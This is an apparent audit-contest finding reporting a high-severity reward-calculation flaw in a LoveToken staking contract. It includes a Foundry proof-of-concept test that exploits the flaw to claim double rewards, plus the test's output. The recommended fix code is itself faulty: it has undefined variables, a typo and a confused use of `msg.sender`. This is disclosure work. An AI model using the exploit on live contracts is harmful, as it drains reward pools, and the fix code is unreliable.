Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

`Staking:: deposit` and `Staking:: claimRewards` has flawed logic, which allows users to claim more rewards than expected

Summary

Flawed logic, which allows attacker to gain more rewards without need of staking full amount for enough time.

Vulnerability Details

In Staking:: deposit user is allowed to stake his love token at any time. When user stakes, it provide rewards, based on the time you staked the tokens
as mentioned in the readme file

  • 1 token deposited for 1 week = 1 LoveToken reward

  • 7 tokens deposited for 2 weeks = 14 LoveToken reward

But it lacks of correct logic in deposit, as well in claimRewards function. Currently it don't set when a user has staked. And claim rewards calculate reward based on time when id is minted for the staker (when he is claiming for first time). This is what can be exploited easily to gain rewards.

Consider a scenerio -

  • Alice and bob mint nft on 1st Feb at 00:00

  • She waits for 7 days before claiming reward from airdrop

  • She claimed reward 8th Feb at 00:00, She has 7 tokens (1 token can be minted per day)

  • Now she stakes the tokens to staking pool and wait for another 7 days

  • She claims the reward, she should get 7 tokens as reward as per Readme(mentioned above), But she receive 14 tokens as reward due to rewards
    being calculated based on the time her nft is being minted.

  • She withdraw the staked amount

In this process she got 7 tokens extra.
Bob also does similiar (stake when alice staked), But he noticed the bug before hand. So on 8th of staking, He goes to airdrop contract and
claim more tokens (7 tokens), and stake them in pool.
Since pool is not checking, how long it's been staked (when user haven't claimed first time), so he will be getting 2x the total deposited amount for staking for 1 week only. If logic was implemented correctly, he would have been received 7 tokens as reward only.
But currently, he will be getting 28 tokens (that's twice the total deposit, 7 at start, 7 on 8th day).

This should be fixed to avoid losses to the protocol.

POC

In existing StakingTest.t.sol add following test

function testClaimMoreRewardsThanStakingTime () public {
vm.warp(block.timestamp + 1 days);
console2.log("nft mint time:", block.timestamp);
_mintOneTokenForBothSoulmates();
/// Fast forward 7 days
vm.warp(block.timestamp + 7 days + 1);
vm.startPrank(soulmate1);
/// claim airdrop first time
airdropContract.claim();
uint256 balanceOnFirstAirdropClaim = loveToken.balanceOf(soulmate1);
console2.log("soulmate balance after first airdrop claim:", balanceOnFirstAirdropClaim);
/// stake the tokens
loveToken.approve(address(stakingContract), balanceOnFirstAirdropClaim);
uint256 stakeTime = block.timestamp;
stakingContract.deposit(balanceOnFirstAirdropClaim);
vm.stopPrank();
/// soulmate 2 decided to stake token
vm.startPrank(soulmate2);
airdropContract.claim();
uint256 balanceOnFirstAirdropClaim1 = loveToken.balanceOf(soulmate2);
console2.log("soulmate2 balance after first airdrop claim:", balanceOnFirstAirdropClaim);
/// stake the tokens
loveToken.approve(address(stakingContract), 100e18); // approve high amount to avoid doing it again and again
uint256 stakeTime1 = block.timestamp;
stakingContract.deposit(balanceOnFirstAirdropClaim1);
vm.stopPrank();
/// fast forward 7 days
vm.warp(block.timestamp + 7 days + 1);
vm.startPrank(soulmate1);
uint256 unstakeTime = block.timestamp;
stakingContract.claimRewards();
uint256 rewardReceived = loveToken.balanceOf(soulmate1);
stakingContract.withdraw(7e18);
console2.log("staked for time:", unstakeTime - stakeTime);
console2.log("soulmate1 expected Reward:", ((unstakeTime - stakeTime) / 7 days) * 7e18);
console2.log("soulmate1 reward received:", rewardReceived);
vm.stopPrank();
vm.startPrank(soulmate2);
/// now soulmate 2 claim from airdrop again, before claiming from staking
airdropContract.claim();
uint256 secondAmountOfAirdrop = loveToken.balanceOf(soulmate2);
console2.log("soulmate2 balance after first airdrop claim:", secondAmountOfAirdrop);
/// now stake the collected amount to increase share
stakingContract.deposit(secondAmountOfAirdrop);
/// wohaa, staked the secondAmountOfAirdrop for just a sec
/// to get full reward based on the nft id minted time
stakingContract.claimRewards();
uint256 rewardReceived1 = loveToken.balanceOf(soulmate2);
uint256 unstakeTime1 = block.timestamp;
stakingContract.withdraw(balanceOnFirstAirdropClaim + secondAmountOfAirdrop); /// first airdrop amount + second airdrop amount
console2.log("staked for first time:", unstakeTime1 - stakeTime1);
/// second time, stake time is zero
console2.log("expected Reward:", ((unstakeTime1 - stakeTime1) / 7 days) * 14e18);
console2.log("reward received:", rewardReceived1);
console2.log("soulmate2BalanceWithoutRewards:", loveToken.balanceOf(soulmate2) - rewardReceived1);
vm.stopPrank();
}

run forge test --mt testClaimMoreRewardsThanStakingTime -vv in your terminal, you'll see the following output -

[⠢] Compiling...
[⠒] Compiling 1 files with 0.8.23
[⠢] Solc 0.8.23 finished in 1.93s
Running 1 test for test/unit/StakingTest.t.sol:StakingTest
[PASS] testClaimMoreRewardsThanStakingTime() (gas: 524993)
Logs:
nft mint time: 86401
soulmate balance after first airdrop claim: 7000000000000000000
soulmate2 balance after first airdrop claim: 7000000000000000000
staked for time: 604801
soulmate1 expected Reward: 7000000000000000000
soulmate1 reward received: 14000000000000000000
soulmate2 balance after first airdrop claim: 7000000000000000000
staked for first time: 604801
expected Reward: 14000000000000000000
reward received: 28000000000000000000
soulmate2BalanceWithoutRewards: 14000000000000000000

Impact

Draining love token from reward pool, which could be distributed for longer run b/w users.

Tools Used

Manual Review, Foundry

Recommendations

Here is the recommendation to fix it --

add an internal _claim function as follows -

function _claim (address user) internal {
getClaimableRewards(user);
loveToken.transferFrom(
address(stakingVault),
msg.sender,
amountToClaim
);
}

add getRewards function to check the available rewards for a user

function getRewards(address user) public view returns (uint256) {
if(last.claimTime[user] == 0){return 0;}
else {
uint256 timeInWeeksSinceLastClaim = ((block.timestamp -
lastClaim[msg.sender]) / 1 weeks);
uint256 amountToClaim = userStakes[msg.sender] *
timeInWeeksSinceLastClaim;
return amountToClaim;
}
}

then update the claimRewards function like this

error Staking__NotAValidSoulmate();
function claimRewards() public {
uint256 soulmateId = soulmateContract.ownerToId(msg.sender); // This will work fine, when nextID starts from 1 mentioned in other finding
if(soulmateContract.idToCreationTimestamp(
soulmateId
) == 0){revert Staking__NotAValidSoulmate();}
uint256 availableTokens = getRewards(msg.sender);
if(availableTokens > 0){
lastClaim[msg.sender] = block.timestamp;
_claim(msg.sender);
}
}

Now update the deposit function as follows -

function deposit(uint256 amount) public {
if (loveToken.balanceOf(address(stakingVault)) == 0)
revert Staking__NoMoreRewards();
loveToken.transferFrom(msg.sender, address(this), amount);
emit Deposited(msg.sender, amount);
uint256 rewards = getRewards(msg.sender);
if(rewards > 0) {_claim(msg.sender);}
userStakes[msg.sender] += amount;
}
Updates

Lead Judging Commences

0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-claimRewards-multi-deposits-time

High severity, this allows users to claim additional rewards without committing to intended weekly staking period via multi-deposit/deposit right before claiming rewards.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.